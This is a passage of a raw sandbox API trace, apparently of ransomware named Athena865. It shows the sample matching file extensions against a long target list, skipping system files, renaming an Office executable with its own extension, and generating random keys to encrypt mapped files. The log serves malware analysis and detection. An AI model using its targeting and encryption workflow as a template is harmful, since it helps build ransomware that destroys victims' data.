returned -1 [0088.330] lstrlenW (lpString="nrmlib") returned 6 [0088.330] lstrcmpiW (lpString1="OJ.EXE", lpString2="nrmlib") returned 1 [0088.330] lstrlenW (lpString="ns2") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0088.330] lstrlenW (lpString="ns3") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0088.330] lstrlenW (lpString="ns4") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0088.330] lstrlenW (lpString="nsf") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0088.330] lstrlenW (lpString="nv") returned 2 [0088.330] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0088.330] lstrlenW (lpString="nv2") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0088.330] lstrlenW (lpString="nwdb") returned 4 [0088.330] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0088.330] lstrlenW (lpString="nyf") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0088.330] lstrlenW (lpString="odb") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0088.330] lstrlenW (lpString="odb") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0088.330] lstrlenW (lpString="oqy") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0088.330] lstrlenW (lpString="ora") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0088.331] lstrlenW (lpString="orx") returned 3 [0088.331] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0088.331] lstrlenW (lpString="owc") returned 3 [0088.331] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0088.331] lstrlenW (lpString="p96") returned 3 [0088.331] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0088.331] lstrlenW (lpString="p97") returned 3 [0088.331] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0088.331] lstrlenW (lpString="pan") returned 3 [0088.331] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0088.331] lstrlenW (lpString="pdb") returned 3 [0088.331] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0088.331] lstrlenW (lpString="pdm") returned 3 [0088.331] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0088.331] lstrlenW (lpString="pnz") returned 3 [0088.331] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0088.331] lstrlenW (lpString="qry") returned 3 [0088.331] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0088.331] lstrlenW (lpString="qvd") returned 3 [0088.331] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0088.331] lstrlenW (lpString="rbf") returned 3 [0088.331] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0088.331] lstrlenW (lpString="rctd") returned 4 [0088.331] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0088.331] lstrlenW (lpString="rod") returned 3 [0088.331] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0088.331] lstrlenW (lpString="rodx") returned 4 [0088.331] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0088.331] lstrlenW (lpString="rpd") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0088.332] lstrlenW (lpString="rsd") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0088.332] lstrlenW (lpString="sas7bdat") returned 8 [0088.332] lstrcmpiW (lpString1="PROJ.EXE", lpString2="sas7bdat") returned -1 [0088.332] lstrlenW (lpString="sbf") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0088.332] lstrlenW (lpString="scx") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0088.332] lstrlenW (lpString="sdb") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0088.332] lstrlenW (lpString="sdc") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0088.332] lstrlenW (lpString="sdf") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0088.332] lstrlenW (lpString="sis") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0088.332] lstrlenW (lpString="spq") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0088.332] lstrlenW (lpString="te") returned 2 [0088.332] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0088.332] lstrlenW (lpString="teacher") returned 7 [0088.332] lstrcmpiW (lpString1="ROJ.EXE", lpString2="teacher") returned -1 [0088.332] lstrlenW (lpString="tmd") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0088.332] lstrlenW (lpString="tps") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0088.332] lstrlenW (lpString="trc") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0088.332] lstrlenW (lpString="trc") returned 3 [0088.332] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0088.333] lstrlenW (lpString="trm") returned 3 [0088.333] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0088.333] lstrlenW (lpString="udb") returned 3 [0088.333] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0088.333] lstrlenW (lpString="udl") returned 3 [0088.333] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0088.333] lstrlenW (lpString="usr") returned 3 [0088.333] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0088.333] lstrlenW (lpString="v12") returned 3 [0088.333] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0088.333] lstrlenW (lpString="vis") returned 3 [0088.333] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0088.333] lstrlenW (lpString="vpd") returned 3 [0088.333] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0088.333] lstrlenW (lpString="vvv") returned 3 [0088.333] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0088.333] lstrlenW (lpString="wdb") returned 3 [0088.333] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0088.333] lstrlenW (lpString="wmdb") returned 4 [0088.333] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0088.333] lstrlenW (lpString="wrk") returned 3 [0088.333] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0088.333] lstrlenW (lpString="xdb") returned 3 [0088.333] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0088.333] lstrlenW (lpString="xld") returned 3 [0088.333] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0088.333] lstrlenW (lpString="xmlff") returned 5 [0088.333] lstrcmpiW (lpString1="J.EXE", lpString2="xmlff") returned -1 [0088.333] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\WINPROJ.EXE.Athena865") returned 64 [0088.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WINPROJ.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe.athena865"), dwFlags=0x1) returned 1 [0088.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WINPROJ.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0088.335] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20820320) returned 1 [0088.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0088.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0088.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0088.335] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0088.336] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0088.336] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.336] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13db460, lpName=0x0) returned 0x17c [0088.336] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1200000, dwNumberOfBytesToMap=0x1db460) returned 0x2d50000 [0088.448] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0088.487] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0088.504] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0088.505] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0088.505] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0088.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0088.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0088.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0088.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0088.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0088.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0088.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0088.506] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0088.524] CloseHandle (hObject=0x17c) returned 1 [0088.524] CloseHandle (hObject=0x154) returned 1 [0088.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0088.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0088.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0088.534] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc800000, ftCreationTime.dwHighDateTime=0x1cab9aa, ftLastAccessTime.dwLowDateTime=0xbef68300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcc800000, ftLastWriteTime.dwHighDateTime=0x1cab9aa, nFileSizeHigh=0x0, nFileSizeLow=0xd92, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="winproj.exe.manifest", cAlternateFileName="WINPRO~1.MAN")) returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2=".") returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2="..") returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2="windows") returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2="bootmgr") returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2="temp") returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2="pagefile.sys") returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2="boot") returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2="ids.txt") returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2="ntuser.dat") returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2="perflogs") returned 1 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2="MSBuild") returned 1 [0088.534] lstrlenW (lpString="winproj.exe.manifest") returned 20 [0088.534] lstrcpyW (in: lpString1=0x241e89e, lpString2="winproj.exe.manifest" | out: lpString1="winproj.exe.manifest") returned="winproj.exe.manifest" [0088.534] lstrlenW (lpString="winproj.exe.manifest") returned 20 [0088.534] lstrlenW (lpString="Athena865") returned 9 [0088.534] lstrcmpiW (lpString1=".manifest", lpString2="Athena865") returned -1 [0088.534] lstrlenW (lpString=".dll") returned 4 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2=".dll") returned 1 [0088.534] lstrlenW (lpString=".lnk") returned 4 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2=".lnk") returned 1 [0088.534] lstrlenW (lpString=".ini") returned 4 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2=".ini") returned 1 [0088.534] lstrlenW (lpString=".sys") returned 4 [0088.534] lstrcmpiW (lpString1="winproj.exe.manifest", lpString2=".sys") returned 1 [0088.535] lstrlenW (lpString="winproj.exe.manifest") returned 20 [0088.535] lstrlenW (lpString="bak") returned 3 [0088.535] lstrcmpiW (lpString1="est", lpString2="bak") returned 1 [0088.535] lstrlenW (lpString="ba_") returned 3 [0088.535] lstrcmpiW (lpString1="est", lpString2="ba_") returned 1 [0088.535] lstrlenW (lpString="dbb") returned 3 [0088.535] lstrcmpiW (lpString1="est", lpString2="dbb") returned 1 [0088.535] lstrlenW (lpString="vmdk") returned 4 [0088.535] lstrcmpiW (lpString1="fest", lpString2="vmdk") returned -1 [0088.535] lstrlenW (lpString="rar") returned 3 [0088.535] lstrcmpiW (lpString1="est", lpString2="rar") returned -1 [0088.535] lstrlenW (lpString="zip") returned 3 [0088.535] lstrcmpiW (lpString1="est", lpString2="zip") returned -1 [0088.535] lstrlenW (lpString="tgz") returned 3 [0088.535] lstrcmpiW (lpString1="est", lpString2="tgz") returned -1 [0088.535] lstrlenW (lpString="vbox") returned 4 [0088.535] lstrcmpiW (lpString1="fest", lpString2="vbox") returned -1 [0088.535] lstrlenW (lpString="vdi") returned 3 [0088.535] lstrcmpiW (lpString1="est", lpString2="vdi") returned -1 [0088.535] lstrlenW (lpString="vhd") returned 3 [0088.535] lstrcmpiW (lpString1="est", lpString2="vhd") returned -1 [0088.535] lstrlenW (lpString="vhdx") returned 4 [0088.535] lstrcmpiW (lpString1="fest", lpString2="vhdx") returned -1 [0088.535] lstrlenW (lpString="avhd") returned 4 [0088.535] lstrcmpiW (lpString1="fest", lpString2="avhd") returned 1 [0088.535] lstrlenW (lpString="db") returned 2 [0088.535] lstrcmpiW (lpString1="st", lpString2="db") returned 1 [0088.535] lstrlenW (lpString="db2") returned 3 [0088.535] lstrcmpiW (lpString1="est", lpString2="db2") returned 1 [0088.535] lstrlenW (lpString="db3") returned 3 [0088.536] lstrcmpiW (lpString1="est", lpString2="db3") returned 1 [0088.536] lstrlenW (lpString="dbf") returned 3 [0088.536] lstrcmpiW (lpString1="est", lpString2="dbf") returned 1 [0088.536] lstrlenW (lpString="mdf") returned 3 [0088.536] lstrcmpiW (lpString1="est", lpString2="mdf") returned -1 [0088.536] lstrlenW (lpString="mdb") returned 3 [0088.536] lstrcmpiW (lpString1="est", lpString2="mdb") returned -1 [0088.536] lstrlenW (lpString="sql") returned 3 [0088.536] lstrcmpiW (lpString1="est", lpString2="sql") returned -1 [0088.536] lstrlenW (lpString="sqlite") returned 6 [0088.536] lstrcmpiW (lpString1="nifest", lpString2="sqlite") returned -1 [0088.536] lstrlenW (lpString="sqlite3") returned 7 [0088.536] lstrcmpiW (lpString1="anifest", lpString2="sqlite3") returned -1 [0088.536] lstrlenW (lpString="sqlitedb") returned 8 [0088.536] lstrcmpiW (lpString1="manifest", lpString2="sqlitedb") returned -1 [0088.536] lstrlenW (lpString="xml") returned 3 [0088.536] lstrcmpiW (lpString1="est", lpString2="xml") returned -1 [0088.536] lstrlenW (lpString="$er") returned 3 [0088.536] lstrcmpiW (lpString1="est", lpString2="$er") returned 1 [0088.536] lstrlenW (lpString="4dd") returned 3 [0088.536] lstrcmpiW (lpString1="est", lpString2="4dd") returned 1 [0088.536] lstrlenW (lpString="4dl") returned 3 [0088.536] lstrcmpiW (lpString1="est", lpString2="4dl") returned 1 [0088.536] lstrlenW (lpString="^^^") returned 3 [0088.536] lstrcmpiW (lpString1="est", lpString2="^^^") returned 1 [0088.536] lstrlenW (lpString="abs") returned 3 [0088.536] lstrcmpiW (lpString1="est", lpString2="abs") returned 1 [0088.536] lstrlenW (lpString="abx") returned 3 [0088.536] lstrcmpiW (lpString1="est", lpString2="abx") returned 1 [0088.536] lstrlenW (lpString="accdb") returned 5 [0088.536] lstrcmpiW (lpString1="ifest", lpString2="accdb") returned 1 [0088.536] lstrlenW (lpString="accdc") returned 5 [0088.537] lstrcmpiW (lpString1="ifest", lpString2="accdc") returned 1 [0088.537] lstrlenW (lpString="accde") returned 5 [0088.537] lstrcmpiW (lpString1="ifest", lpString2="accde") returned 1 [0088.537] lstrlenW (lpString="accdr") returned 5 [0088.537] lstrcmpiW (lpString1="ifest", lpString2="accdr") returned 1 [0088.537] lstrlenW (lpString="accdt") returned 5 [0088.537] lstrcmpiW (lpString1="ifest", lpString2="accdt") returned 1 [0088.537] lstrlenW (lpString="accdw") returned 5 [0088.537] lstrcmpiW (lpString1="ifest", lpString2="accdw") returned 1 [0088.537] lstrlenW (lpString="accft") returned 5 [0088.537] lstrcmpiW (lpString1="ifest", lpString2="accft") returned 1 [0088.537] lstrlenW (lpString="adb") returned 3 [0088.537] lstrcmpiW (lpString1="est", lpString2="adb") returned 1 [0088.537] lstrlenW (lpString="adb") returned 3 [0088.537] lstrcmpiW (lpString1="est", lpString2="adb") returned 1 [0088.537] lstrlenW (lpString="ade") returned 3 [0088.537] lstrcmpiW (lpString1="est", lpString2="ade") returned 1 [0088.537] lstrlenW (lpString="adf") returned 3 [0088.537] lstrcmpiW (lpString1="est", lpString2="adf") returned 1 [0088.537] lstrlenW (lpString="adn") returned 3 [0088.537] lstrcmpiW (lpString1="est", lpString2="adn") returned 1 [0088.537] lstrlenW (lpString="adp") returned 3 [0088.537] lstrcmpiW (lpString1="est", lpString2="adp") returned 1 [0088.537] lstrlenW (lpString="alf") returned 3 [0088.537] lstrcmpiW (lpString1="est", lpString2="alf") returned 1 [0088.537] lstrlenW (lpString="ask") returned 3 [0088.537] lstrcmpiW (lpString1="est", lpString2="ask") returned 1 [0088.537] lstrlenW (lpString="btr") returned 3 [0088.537] lstrcmpiW (lpString1="est", lpString2="btr") returned 1 [0088.537] lstrlenW (lpString="cat") returned 3 [0088.537] lstrcmpiW (lpString1="est", lpString2="cat") returned 1 [0088.537] lstrlenW (lpString="cdb") returned 3 [0088.538] lstrcmpiW (lpString1="est", lpString2="cdb") returned 1 [0088.538] lstrlenW (lpString="ckp") returned 3 [0088.538] lstrcmpiW (lpString1="est", lpString2="ckp") returned 1 [0088.538] lstrlenW (lpString="cma") returned 3 [0088.538] lstrcmpiW (lpString1="est", lpString2="cma") returned 1 [0088.538] lstrlenW (lpString="cpd") returned 3 [0088.538] lstrcmpiW (lpString1="est", lpString2="cpd") returned 1 [0088.538] lstrlenW (lpString="dacpac") returned 6 [0088.538] lstrcmpiW (lpString1="nifest", lpString2="dacpac") returned 1 [0088.538] lstrlenW (lpString="dad") returned 3 [0088.538] lstrcmpiW (lpString1="est", lpString2="dad") returned 1 [0088.538] lstrlenW (lpString="dadiagrams") returned 10 [0088.538] lstrcmpiW (lpString1="e.manifest", lpString2="dadiagrams") returned 1 [0088.538] lstrlenW (lpString="daschema") returned 8 [0088.538] lstrcmpiW (lpString1="manifest", lpString2="daschema") returned 1 [0088.538] lstrlenW (lpString="db-journal") returned 10 [0088.538] lstrcmpiW (lpString1="e.manifest", lpString2="db-journal") returned 1 [0088.538] lstrlenW (lpString="db-shm") returned 6 [0088.538] lstrcmpiW (lpString1="nifest", lpString2="db-shm") returned 1 [0088.538] lstrlenW (lpString="db-wal") returned 6 [0088.538] lstrcmpiW (lpString1="nifest", lpString2="db-wal") returned 1 [0088.538] lstrlenW (lpString="dbc") returned 3 [0088.538] lstrcmpiW (lpString1="est", lpString2="dbc") returned 1 [0088.538] lstrlenW (lpString="dbs") returned 3 [0088.538] lstrcmpiW (lpString1="est", lpString2="dbs") returned 1 [0088.538] lstrlenW (lpString="dbt") returned 3 [0088.538] lstrcmpiW (lpString1="est", lpString2="dbt") returned 1 [0088.538] lstrlenW (lpString="dbv") returned 3 [0088.538] lstrcmpiW (lpString1="est", lpString2="dbv") returned 1 [0088.538] lstrlenW (lpString="dbx") returned 3 [0088.538] lstrcmpiW (lpString1="est", lpString2="dbx") returned 1 [0088.539] lstrlenW (lpString="dcb") returned 3 [0088.539] lstrcmpiW (lpString1="est", lpString2="dcb") returned 1 [0088.539] lstrlenW (lpString="dct") returned 3 [0088.539] lstrcmpiW (lpString1="est", lpString2="dct") returned 1 [0088.539] lstrlenW (lpString="dcx") returned 3 [0088.539] lstrcmpiW (lpString1="est", lpString2="dcx") returned 1 [0088.539] lstrlenW (lpString="ddl") returned 3 [0088.539] lstrcmpiW (lpString1="est", lpString2="ddl") returned 1 [0088.539] lstrlenW (lpString="dlis") returned 4 [0088.539] lstrcmpiW (lpString1="fest", lpString2="dlis") returned 1 [0088.539] lstrlenW (lpString="dp1") returned 3 [0088.539] lstrcmpiW (lpString1="est", lpString2="dp1") returned 1 [0088.539] lstrlenW (lpString="dqy") returned 3 [0088.539] lstrcmpiW (lpString1="est", lpString2="dqy") returned 1 [0088.539] lstrlenW (lpString="dsk") returned 3 [0088.539] lstrcmpiW (lpString1="est", lpString2="dsk") returned 1 [0088.539] lstrlenW (lpString="dsn") returned 3 [0088.539] lstrcmpiW (lpString1="est", lpString2="dsn") returned 1 [0088.539] lstrlenW (lpString="dtsx") returned 4 [0088.539] lstrcmpiW (lpString1="fest", lpString2="dtsx") returned 1 [0088.539] lstrlenW (lpString="dxl") returned 3 [0088.539] lstrcmpiW (lpString1="est", lpString2="dxl") returned 1 [0088.539] lstrlenW (lpString="eco") returned 3 [0088.539] lstrcmpiW (lpString1="est", lpString2="eco") returned 1 [0088.539] lstrlenW (lpString="ecx") returned 3 [0088.539] lstrcmpiW (lpString1="est", lpString2="ecx") returned 1 [0088.539] lstrlenW (lpString="edb") returned 3 [0088.539] lstrcmpiW (lpString1="est", lpString2="edb") returned 1 [0088.539] lstrlenW (lpString="epim") returned 4 [0088.539] lstrcmpiW (lpString1="fest", lpString2="epim") returned 1 [0088.539] lstrlenW (lpString="fcd") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="fcd") returned -1 [0088.540] lstrlenW (lpString="fdb") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="fdb") returned -1 [0088.540] lstrlenW (lpString="fic") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="fic") returned -1 [0088.540] lstrlenW (lpString="flexolibrary") returned 12 [0088.540] lstrcmpiW (lpString1="exe.manifest", lpString2="flexolibrary") returned -1 [0088.540] lstrlenW (lpString="fm5") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="fm5") returned -1 [0088.540] lstrlenW (lpString="fmp") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="fmp") returned -1 [0088.540] lstrlenW (lpString="fmp12") returned 5 [0088.540] lstrcmpiW (lpString1="ifest", lpString2="fmp12") returned 1 [0088.540] lstrlenW (lpString="fmpsl") returned 5 [0088.540] lstrcmpiW (lpString1="ifest", lpString2="fmpsl") returned 1 [0088.540] lstrlenW (lpString="fol") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="fol") returned -1 [0088.540] lstrlenW (lpString="fp3") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="fp3") returned -1 [0088.540] lstrlenW (lpString="fp4") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="fp4") returned -1 [0088.540] lstrlenW (lpString="fp5") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="fp5") returned -1 [0088.540] lstrlenW (lpString="fp7") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="fp7") returned -1 [0088.540] lstrlenW (lpString="fpt") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="fpt") returned -1 [0088.540] lstrlenW (lpString="frm") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="frm") returned -1 [0088.540] lstrlenW (lpString="gdb") returned 3 [0088.540] lstrcmpiW (lpString1="est", lpString2="gdb") returned -1 [0088.540] lstrlenW (lpString="gdb") returned 3 [0088.541] lstrcmpiW (lpString1="est", lpString2="gdb") returned -1 [0088.541] lstrlenW (lpString="grdb") returned 4 [0088.541] lstrcmpiW (lpString1="fest", lpString2="grdb") returned -1 [0088.541] lstrlenW (lpString="gwi") returned 3 [0088.541] lstrcmpiW (lpString1="est", lpString2="gwi") returned -1 [0088.541] lstrlenW (lpString="hdb") returned 3 [0088.541] lstrcmpiW (lpString1="est", lpString2="hdb") returned -1 [0088.541] lstrlenW (lpString="his") returned 3 [0088.541] lstrcmpiW (lpString1="est", lpString2="his") returned -1 [0088.541] lstrlenW (lpString="ib") returned 2 [0088.541] lstrcmpiW (lpString1="st", lpString2="ib") returned 1 [0088.541] lstrlenW (lpString="idb") returned 3 [0088.541] lstrcmpiW (lpString1="est", lpString2="idb") returned -1 [0088.541] lstrlenW (lpString="ihx") returned 3 [0088.541] lstrcmpiW (lpString1="est", lpString2="ihx") returned -1 [0088.541] lstrlenW (lpString="itdb") returned 4 [0088.541] lstrcmpiW (lpString1="fest", lpString2="itdb") returned -1 [0088.541] lstrlenW (lpString="itw") returned 3 [0088.541] lstrcmpiW (lpString1="est", lpString2="itw") returned -1 [0088.541] lstrlenW (lpString="jet") returned 3 [0088.541] lstrcmpiW (lpString1="est", lpString2="jet") returned -1 [0088.541] lstrlenW (lpString="jtx") returned 3 [0088.541] lstrcmpiW (lpString1="est", lpString2="jtx") returned -1 [0088.541] lstrlenW (lpString="kdb") returned 3 [0088.541] lstrcmpiW (lpString1="est", lpString2="kdb") returned -1 [0088.541] lstrlenW (lpString="kexi") returned 4 [0088.541] lstrcmpiW (lpString1="fest", lpString2="kexi") returned -1 [0088.541] lstrlenW (lpString="kexic") returned 5 [0088.541] lstrcmpiW (lpString1="ifest", lpString2="kexic") returned -1 [0088.541] lstrlenW (lpString="kexis") returned 5 [0088.541] lstrcmpiW (lpString1="ifest", lpString2="kexis") returned -1 [0088.541] lstrlenW (lpString="lgc") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="lgc") returned -1 [0088.542] lstrlenW (lpString="lwx") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="lwx") returned -1 [0088.542] lstrlenW (lpString="maf") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="maf") returned -1 [0088.542] lstrlenW (lpString="maq") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="maq") returned -1 [0088.542] lstrlenW (lpString="mar") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="mar") returned -1 [0088.542] lstrlenW (lpString="marshal") returned 7 [0088.542] lstrcmpiW (lpString1="anifest", lpString2="marshal") returned -1 [0088.542] lstrlenW (lpString="mas") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="mas") returned -1 [0088.542] lstrlenW (lpString="mav") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="mav") returned -1 [0088.542] lstrlenW (lpString="maw") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="maw") returned -1 [0088.542] lstrlenW (lpString="mdbhtml") returned 7 [0088.542] lstrcmpiW (lpString1="anifest", lpString2="mdbhtml") returned -1 [0088.542] lstrlenW (lpString="mdn") returned 3 [0088.542] lstrcmpiW (lpString1="est", lpString2="mdn") returned -1 [0088.542] lstrlenW (lpString="mdt") returned 3 [0088.542] lstrcmpiW 